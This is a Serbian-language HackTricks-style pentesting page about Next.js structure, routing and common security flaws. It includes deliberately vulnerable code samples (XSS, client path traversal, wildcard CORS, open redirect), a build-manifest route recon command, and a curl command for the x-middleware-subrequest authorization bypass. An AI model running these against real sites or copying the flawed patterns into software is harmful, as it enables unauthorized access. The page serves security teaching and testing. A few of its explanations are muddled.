NextJS

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Opšta arhitektura Next.js aplikacije

Tipična struktura fajlova

Standardni Next.js projekat prati specifičnu strukturu fajlova i direktorijuma koja olakšava njegove funkcionalnosti poput rutiranja, API endpointi i upravljanja statičkim resursima. Evo tipičnog rasporeda:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Osnovne direktorijume i fajlovi

  • public/: Smešta statičke resurse kao što su slike, fontovi i drugi fajlovi. Fajlovi ovde su dostupni na korenskoj putanji (/).
  • app/: Centralni direktorijum za stranice aplikacije, layout-e, komponente i API rute. Koristi paradigmu App Router, omogućavajući napredne routing funkcije i razdvajanje komponenti servera i klijenta.
  • app/layout.tsx: Definiše root layout za vašu aplikaciju, obavija sve stranice i obezbeđuje konzistentne UI elemente kao što su headeri, footer-i i navigacioni barovi.
  • app/page.tsx: Služi kao ulazna tačka za root rutu /, renderujući početnu stranicu.
  • app/[route]/page.tsx: Rukuje statičkim i dinamičkim rutama. Svaka fascikla unutar app/ predstavlja segment rute, a page.tsx u tim fasciklama odgovara komponenti rute.
  • app/api/: Sadrži API rute, omogućavajući kreiranje serverless funkcija koje obrađuju HTTP zahteve. Ove rute zamenjuju tradicionalni direktorijum pages/api.
  • app/components/: Smešta ponovo upotrebljive React komponente koje se mogu koristiti na različitim stranicama i layout-ima.
  • app/styles/: Sadrži globalne CSS fajlove i CSS Modules za stilizaciju ograničenu na komponente.
  • app/utils/: Obuhvata pomoćne funkcije, helper module i drugu non-UI logiku koja se može deliti kroz aplikaciju.
  • .env.local: Čuva environment promenljive specifične za lokalno razvojno okruženje. Ove promenljive se ne commituju u verzioni kontrolni sistem.
  • next.config.js: Prilagođava ponašanje Next.js, uključujući webpack konfiguracije, environment promenljive i bezbednosna podešavanja.
  • tsconfig.json: Konfiguriše TypeScript podešavanja za projekat, omogućavajući type checking i druge TypeScript funkcionalnosti.
  • package.json: Upravljа zavisnostima projekta, skriptama i metapodacima.
  • README.md: Pruža dokumentaciju i informacije o projektu, uključujući instrukcije za postavljanje, smernice za upotrebu i druge relevantne detalje.
  • yarn.lock / package-lock.json: Zaključavaju zavisnosti projekta na specifične verzije, obezbeđujući konzistentne instalacije u različitim okruženjima.

Klijentska strana u Next.js

File-Based Routing in the app Directory

Direktorijum app je temelj routing-a u najnovijim verzijama Next.js. Koristi filesystem za definisanje ruta, što čini upravljanje rutama intuitivnim i skalabilnim.

Rukovanje korenskom putanjom /

Struktura fajlova:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Ključne datoteke:

  • app/page.tsx: Rukuje zahtevima za root putanju /.
  • app/layout.tsx: Definiše raspored aplikacije, koji obuhvata sve stranice.

Implementacija:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

Objašnjenje:

  • Definicija rute: Fajl page.tsx koji se nalazi direktno u direktorijumu app odgovara ruti /.
  • Renderovanje: Ova komponenta prikazuje sadržaj za početnu stranicu.
  • Integracija layout-a: Komponenta HomePage je umotana u layout.tsx, koji može da sadrži zaglavlja, podnožja i druge zajedničke elemente.
Rukovanje drugim statičkim rutama

Primer: /about ruta

Struktura fajlova:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementacija:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

Objašnjenje:

  • Definicija rute: Fajl page.tsx unutar foldera about odgovara ruti /about.
  • Renderovanje: Ova komponenta renderuje sadržaj za about stranicu.
Dinamičke rute

Dinamičke rute omogućavaju rukovanje putanjama sa promenljivim segmentima, što aplikacijama omogućava da prikazuju sadržaj zasnovan na parametrima kao što su ID-ovi, slugovi itd.

Primer: /posts/[id] ruta

Struktura fajlova:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementacija:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

Objašnjenje:

  • Dinamički segment: [id] označava dinamički segment u ruti, hvatajući parametar id iz URL-a.
  • Pristup parametrima: Objekt params sadrži dinamičke parametre, dostupne unutar komponente.
  • Poklapanje ruta: Bilo koji put koji odgovara /posts/*, kao što su /posts/1, /posts/abc itd., biće obrađen od strane ove komponente.
Ugnježdene rute

Next.js podržava ugnježđeno rutiranje, omogućavajući hijerarhijske strukture ruta koje odražavaju raspored direktorijuma.

Primer: /dashboard/settings/profile ruta

Struktura fajlova:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementacija:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

Objašnjenje:

  • Duboko ugnježđivanje: Fajl page.tsx unutar dashboard/settings/profile/ odgovara ruti /dashboard/settings/profile.
  • Odraz hijerarhije: Struktura direktorijuma odražava URL putanju, poboljšavajući održavanje i jasnoću.
Catch-All rute

Catch-all rute obrađuju više ugnježdenih segmenata ili nepoznatih putanja, pružajući fleksibilnost u rukovanju rutama.

Primer: /* ruta

Struktura fajlova:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementacija:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Objašnjenje:

  • Catch-All segment: [...slug] hvata sve preostale segmente putanje kao niz.
  • Upotreba: Korisno za rukovanje scenarijima dinamičkog rutiranja kao što su putanje koje kreiraju korisnici, ugnježdene kategorije itd.
  • Route Matching: Putanje poput /anything/here, /foo/bar/baz itd. obrađuje ova komponenta.

Potencijalne ranjivosti na klijentskoj strani

Dok Next.js pruža sigurnu osnovu, nepravilne prakse kodiranja mogu uvesti ranjivosti. Ključne ranjivosti na klijentskoj strani uključuju:

Cross-Site Scripting (XSS)

XSS napadi se javljaju kada se zlonamerni skripti ubace u pouzdane veb-sajtove. Napadači mogu izvršavati skripte u pregledačima korisnika, krasti podatke ili izvršavati radnje u ime korisnika.

Primer ranjivog koda:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

Zašto je ranjivo: Korišćenje dangerouslySetInnerHTML sa neproverenim ulazom omogućava napadačima da ubrizgaju maliciozne skripte.

Client-Side Template Injection

Dešava se kada se korisnički unosi nepravilno obrađuju u šablonima, što omogućava napadačima da ubrizgaju i izvrše šablone ili izraze.

Primer ranjivog koda:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

Zašto je ranjivo: Ako template ili data sadrže zlonamerni sadržaj, to može dovesti do izvršavanja neželjenog koda.

Client Path Traversal

To je ranjivost koja omogućava napadačima da manipulišu client-side putanjama kako bi izvršili neželjene radnje, kao što je Cross-Site Request Forgery (CSRF). Za razliku od server-side path traversal, koji cilja na fajl sistem servera, CSPT se fokusira na iskorišćavanje client-side mehanizama kako bi preusmerio legitimne API zahteve na zlonamerne krajnje tačke.

Primer ranjivog koda:

Next.js aplikacija omogućava korisnicima da postave i preuzmu fajlove. Funkcija preuzimanja je implementirana na client side, gde korisnici mogu da navedu putanju fajla za preuzimanje.

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Scenarij napada

  1. Cilj napadača: Izvesti CSRF napad da obriše kritičan fajl (npr. admin/config.json) manipulišući filePath.
  2. Eksploatisanje CSPT:
  • Maliciozni unos: Napadač kreira URL sa manipulisanim filePath, npr. ../deleteFile/config.json.
  • Rezultujući API poziv: Kod na klijentu pravi zahtev ka /api/files/../deleteFile/config.json.
  • Postupanje servera: Ako server ne validira filePath, obradiće zahtev, potencijalno brišući ili otkrivajući osetljive fajlove.
  1. Izvođenje CSRF-a:
  • Sačinjeni link: Napadač pošalje žrtvi link ili ugradi maliciozni skript koji pokreće zahtev za preuzimanje sa manipulisanim filePath.
  • Ishod: Žrtva nehotice izvršava akciju, što dovodi do neautorizovanog pristupa ili brisanja fajlova.

Zašto je ranjivo

  • Nedostatak validacije unosa: Kod na klijentu dozvoljava proizvoljne filePath unose, omogućavajući path traversal.
  • Poverenje u unose klijenta: API na serverskoj strani veruje i obrađuje filePath bez sanitizacije.
  • Potencijalne API akcije: Ako API endpoint izvodi akcije koje menjaju stanje (npr. brisanje, izmena fajlova), može se iskoristiti preko CSPT.

Recon: otkrivanje ruta statičkog exporta putem _buildManifest

Kada su nextExport/autoExport true (static export), Next.js izlaže buildId u HTML-u i služi build manifest na /_next/static/<buildId>/_buildManifest.js. Niz sortedPages i mapiranje route→chunk tamo navode svaku prerendered stranicu bez brute force.

  • Uzmi buildId iz root odgovora (često odštampan na dnu) ili iz <script> tagova koji učitavaju /_next/static/<buildId>/....
  • Preuzmi manifest i izvuci rute:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • Koristite otkrivene putanje (na primer /docs, /docs/content/examples, /signin) da pokrenete auth testing i endpoint discovery.

Serverska strana u Next.js

Renderovanje na serverskoj strani (SSR)

Stranice se renderuju na serveru pri svakom zahtevu, osiguravajući da korisnik dobije potpuno renderovan HTML. U tom slučaju treba da kreirate sopstveni custom server koji će obrađivati zahteve.

Slučajevi upotrebe:

  • Dinamički sadržaj koji se često menja.
  • Optimizacija za pretraživače (SEO), jer pretraživači mogu indeksirati potpuno renderovanu stranicu.

Implementacija:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Generisanje statičkih stranica (SSG)

Stranice se prerenderuju tokom build faze, što dovodi do bržeg učitavanja i smanjenog opterećenja servera.

Slučajevi upotrebe:

  • Sadržaj koji se ne menja često.
  • Blogovi, dokumentacija, marketinške stranice.

Implementacija:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Serverless funkcije (API Routes)

Next.js omogućava kreiranje API endpoint-a kao serverless funkcija. Ove funkcije se izvršavaju na zahtev bez potrebe za posvećenim serverom.

Primeri upotrebe:

  • Obrada slanja formulara.
  • Interakcija sa bazama podataka.
  • Obrada podataka ili integracija sa API-ima trećih strana.

Implementacija:

Sa uvođenjem app directory u Next.js 13, rutiranje i rukovanje API-jem su postali fleksibilniji i moćniji. Ovaj moderni pristup je usklađen sa fajl-baziranim sistemom rutiranja, ali uvodi poboljšane mogućnosti, uključujući podršku za server i klijentske komponente.

Osnovni rukovalac rute

Struktura fajlova:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Implementacija:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Objašnjenje:

  • Lokacija: API rute se nalaze u direktorijumu app/api/.
  • Ime fajla: Svaki API endpoint se nalazi u svom folderu koji sadrži route.js ili route.ts fajl.
  • Eksportovane funkcije: Umesto jednog default export-a, eksportuju se specifične funkcije za HTTP metode (npr. GET, POST).
  • Rukovanje odgovorima: Koristite Response konstruktor za vraćanje odgovora, što omogućava veću kontrolu nad headerima i status kodovima.

Kako rukovati drugim putanjama i metodama:

Rukovanje specifičnim HTTP metodama

Next.js 13+ vam omogućava da definišete handlere za specifične HTTP metode unutar istog route.js ili route.ts fajla, što rezultira jasnijim i organizovanijim kodom.

Primer:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Objašnjenje:

  • Višestruki eksporti: Svaka HTTP metoda (GET, PUT, DELETE) ima svoju izvezenu funkciju.
  • Parametri: Drugi argument obezbeđuje pristup parametrima rute putem params.
  • Poboljšani odgovori: Veća kontrola nad response objektima, omogućavajući precizno upravljanje header-ima i status kodovima.
Catch-All i ugnježdene rute

Next.js 13+ podržava napredne routing mogućnosti kao što su catch-all rute i ugnježdene API rute, što omogućava dinamičnije i skalabilnije API strukture.

Primer catch-all rute:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Objašnjenje:

  • Sintaksa: [...] označava catch-all segment koji hvata sve ugnježdene putanje.
  • Upotreba: Korisno za API-je koji treba da obrađuju različite dubine ruta ili dinamičke segmente.

Primer ugnježdenih ruta:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

Objašnjenje:

  • Duboko ugnježđivanje: Omogućava hijerarhijske API strukture koje odražavaju odnose između resursa.
  • Pristup parametrima: Jednostavno pristupite više parametara rute putem objekta params.
Rukovanje API rutama u Next.js 12 i ranijim verzijama

API rute u pages direktorijumu (Next.js 12 i ranije)

Pre nego što je Next.js 13 uveo direktorijum app i poboljšane mogućnosti rutiranja, API rute su se prvenstveno definisale unutar pages direktorijuma. Ovaj pristup je i dalje široko korišćen i podržan u Next.js 12 i ranijim verzijama.

Osnovna API ruta

Struktura fajlova:

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

Implementacija:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

Objašnjenje:

  • Lokacija: API rute se nalaze u direktorijumu pages/api/.
  • Export: Koristite export default da definišete handler funkciju.
  • Potpis funkcije: Handler prima objekte req (HTTP request) i res (HTTP response).
  • Rutiranje: Ime fajla (hello.js) mapira na endpoint /api/hello.

Dinamičke API rute

File Structure:

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

Implementacija:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Objašnjenje:

  • Dynamic Segments: Uglaste zagrade ([id].js) označavaju dinamičke segmente rute.
  • Accessing Parameters: Koristite req.query.id da pristupite dinamičkom parametru.
  • Handling Methods: Koristite uslovnu logiku za rukovanje različitim HTTP metodama (GET, PUT, DELETE, itd.).

Rukovanje različitim HTTP metodama

Iako osnovni primer API rute obrađuje sve HTTP metode unutar jedne funkcije, možete strukturirati kod da svaku metodu obrađuje eksplicitno radi bolje preglednosti i održavanja.

Primer:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Najbolje prakse:

  • Razdvajanje odgovornosti: Jasno razdvojite logiku za različite HTTP metode.
  • Doslednost odgovora: Obezbedite dosledne strukture odgovora radi lakšeg rukovanja na strani klijenta.
  • Rukovanje greškama: Rukujte nepodržanim metodama i neočekivanim greškama na prikladan način.

Konfiguracija CORS

Kontrolišite koja porekla mogu pristupiti vašim API rutama, čime se ublažavaju ranjivosti vezane za Cross-Origin Resource Sharing (CORS).

Loš primer konfiguracije:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Imajte na umu da se CORS takođe može konfigurisati u svim API rutama unutar middleware.ts datoteke:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Problem:

  • Access-Control-Allow-Origin: '*': Dozvoljava bilo kojem veb-sajtu pristup API-ju, što može omogućiti malicioznim sajtovima da komuniciraju sa vašim API-jem bez ograničenja.
  • Wide Method Allowance: Dozvoljavanje svih metoda može omogućiti napadačima izvođenje neželjenih radnji.

How attackers exploit it:

Napadači mogu napraviti maliciozne veb-sajtove koji šalju zahteve vašem API-ju, potencijalno zloupotrebljavajući funkcionalnosti kao što su preuzimanje podataka, manipulacija podacima ili pokretanje neželjenih radnji u ime autentifikovanih korisnika.

CORS - Misconfigurations & Bypass

Server code exposure in Client Side

Može biti lako da se kod koji se koristi na serveru takođe koristi u kodu izloženom i korišćenom na klijentskoj strani; najbolji način da se osigura da datoteka koda nikad ne bude izložena na klijentskoj strani je korišćenje ovog import-a na početku fajla:

import "server-only"

Ključne datoteke i njihove uloge

middleware.ts / middleware.js

Lokacija: Root projekta ili unutar src/.

Svrha: Izvršava kod u server-side serverless funkciji pre nego što se zahtev obradi, što omogućava zadatke kao što su autentikacija, preusmeravanja ili izmena odgovora.

Tok izvršavanja:

  1. Dolazni zahtev: middleware presreće zahtev.
  2. Obrada: Izvodi operacije na osnovu zahteva (npr. proverava autentikaciju).
  3. Izmena odgovora: Može promeniti odgovor ili predati kontrolu sledećem handleru.

Primeri upotrebe:

  • Preusmeravanje neautentifikovanih korisnika.
  • Dodavanje prilagođenih zaglavlja.
  • Logovanje zahteva.

Primer konfiguracije:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

Ako je authorization primenjena u middleware, pogođena Next.js izdanja (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) mogu biti bypass-ovana ubacivanjem zaglavlja x-middleware-subrequest. Framework će preskočiti middleware recursion i vratiti zaštićenu stranicu.

  • Osnovno ponašanje je obično 307 preusmeravanje na rutu za prijavu kao što je /api/auth/signin.
  • Pošaljite dugu vrednost x-middleware-subrequest (ponovite middleware da biste dostigli MAX_RECURSION_DEPTH) da biste promenili odgovor u 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • Pošto autentifikovane stranice povlače mnogo podresursa, dodajte zaglavlje u svaki zahtev (npr. Burp Match/Replace sa praznim match string) da biste sprečili da se asseti preusmeravaju.

next.config.js

Location: Root of the project.

Purpose: Konfiguriše ponašanje Next.js, omogućavanje ili onemogućavanje funkcija, prilagođavanje webpack konfiguracija, postavljanje varijabli okruženja i konfigurisanje više sigurnosnih opcija.

Key Security Configurations:

Sigurnosna zaglavlja

Sigurnosna zaglavlja unapređuju sigurnost vaše aplikacije tako što obaveštavaju pregledače kako da tretiraju sadržaj. Pomažu u ublažavanju raznih napada kao što su Cross-Site Scripting (XSS), Clickjacking i MIME type sniffing:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

Primeri:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Podešavanja optimizacije slika

Next.js optimizuje slike radi performansi, ali pogrešna podešavanja mogu dovesti do bezbednosnih ranjivosti, na primer omogućavanjem nepouzdanim izvorima da ubace zlonamerni sadržaj.

Loš primer konfiguracije:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

Problem:

  • '*': Dozvoljava učitavanje slika sa bilo kog eksternog izvora, uključujući nepouzdane ili zlonamerne domene. Napadači mogu hostovati slike koje sadrže zlonamerni payload ili sadržaj koji obmanjuje korisnike.
  • Drugi problem može biti dozvoliti domen na kojem svako može da otpremi sliku (kao raw.githubusercontent.com)

How attackers abuse it:

Ubacivanjem slika iz zlonamernih izvora, napadači mogu izvoditi phishing napade, prikazivati obmanjujuće informacije ili iskoristiti ranjivosti u bibliotekama za renderovanje slika.

Izlaganje varijabli okruženja

Upravljajte osetljivim informacijama kao što su API ključevi i kredencijali za bazu podataka sigurno, bez izlaganja klijentu.

a. Otkrivanje osetljivih varijabli

Loš primer konfiguracije:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}

Problem:

  • SECRET_API_KEY: Without the NEXT_PUBLIC_ prefix, Next.js does not expose variables to the client. However, if mistakenly prefixed (e.g., NEXT_PUBLIC_SECRET_API_KEY), it becomes accessible on the client side.

Kako napadači zloupotrebljavaju ovo:

Ako su osetljive promenljive izložene klijentu, napadači ih mogu dohvatiti pregledom klijentskog koda ili mrežnih zahteva, stičući neovlašćen pristup APIs, bazama podataka ili drugim servisima.

Preusmeravanja

Upravljajte URL preusmeravanjima i rewrites unutar vaše aplikacije, osiguravajući da su korisnici pravilno usmereni bez uvodjenja open redirect vulnerabilities.

a. Open Redirect Vulnerability

Loš primer konfiguracije:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

Problem:

  • Dinamičko odredište: Dozvoljava korisnicima da navedu bilo koji URL, čime se omogućavaju open redirect napadi.
  • Poverenje u korisnički unos: Preusmeravanja na URL-ove koje korisnici navedu bez validacije mogu dovesti do phishing-a, distribucije malware-a ili krađe kredencijala.

How attackers abuse it:

Napadači mogu konstruisati URL-ove koji izgledaju kao da potiču sa vašeg domena, ali preusmeravaju korisnike na zlonamerne sajtove. Na primer:

https://yourdomain.com/redirect?url=https://malicious-site.com

Korisnici koji veruju originalnom domenu mogu nenamerno biti preusmereni na štetne veb-sajtove.

Webpack konfiguracija

Prilagodite Webpack konfiguracije za vašu Next.js aplikaciju, što može nenamerno uvesti bezbednosne ranjivosti ako se ne postupa pažljivo.

a. Otkrivanje osetljivih modula

Loš primer konfiguracije:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

Problem:

  • Otkrivanje osetljivih putanja: Aliasovanje osetljivih direktorijuma i omogućavanje pristupa sa klijentske strane može uzrokovati leak poverljivih informacija.
  • Bundling Secrets: Ako su osetljivi fajlovi bundlovani za klijenta, njihov sadržaj postaje dostupan putem source maps ili pregledom client-side koda.

How attackers abuse it:

Napadači mogu pristupiti ili rekonstruisati strukturu direktorijuma aplikacije, potencijalno pronaći i iskoristiti osetljive fajlove ili podatke.

pages/_app.js i pages/_document.js

pages/_app.js

Purpose: Zamenjuje podrazumevani App component, omogućavajući globalno stanje, stilove i layout komponente.

Use Cases:

  • Ubacivanje globalnog CSS-a.
  • Dodavanje layout wrapper-a.
  • Integracija biblioteka za upravljanje stanjem.

Example:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Svrha: Zamenjuje podrazumevani Document, omogućavajući prilagođavanje HTML i Body tagova.

Slučajevi upotrebe:

  • Izmena <html> ili <body> tagova.
  • Dodavanje meta tagova ili prilagođenih skripti.
  • Integracija fontova trećih strana.

Primer:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Prilagođeni server (opciono)

Svrha: Iako Next.js dolazi sa ugrađenim serverom, možete kreirati prilagođeni server za napredne slučajeve upotrebe kao što su prilagođeno rutiranje ili integracija sa postojećim backend servisima.

Napomena: Korišćenje prilagođenog servera može ograničiti opcije deploy-ovanja, posebno na platformama kao što je Vercel koje su optimizovane za ugrađeni server Next.js-a.

Primer:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Dodatne arhitektonske i bezbednosne razmatranja

Varijable okruženja i konfiguracija

Svrha: Upravljanje osetljivim informacijama i podešavanjima konfiguracije van izvornog koda.

Najbolje prakse:

  • Koristite .env fajlove: Čuvajte varijable kao što su API ključevi u .env.local (izuzeto iz sistema za kontrolu verzija).
  • Pristupajte promenljivama sigurno: Koristite process.env.VARIABLE_NAME za pristup varijablama okruženja.
  • Nikada ne izlažite tajne na klijentu: Uverite se da se osetljive promenljive koriste samo na serverskoj strani.

Primer:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Napomena: Da biste ograničili promenljive samo na serverskoj strani, izostavite ih iz env objekta ili im dodajte prefiks NEXT_PUBLIC_ da bi bile dostupne klijentu.

Korisni serverski artefakti za ciljanje preko LFI/download endpoint-a

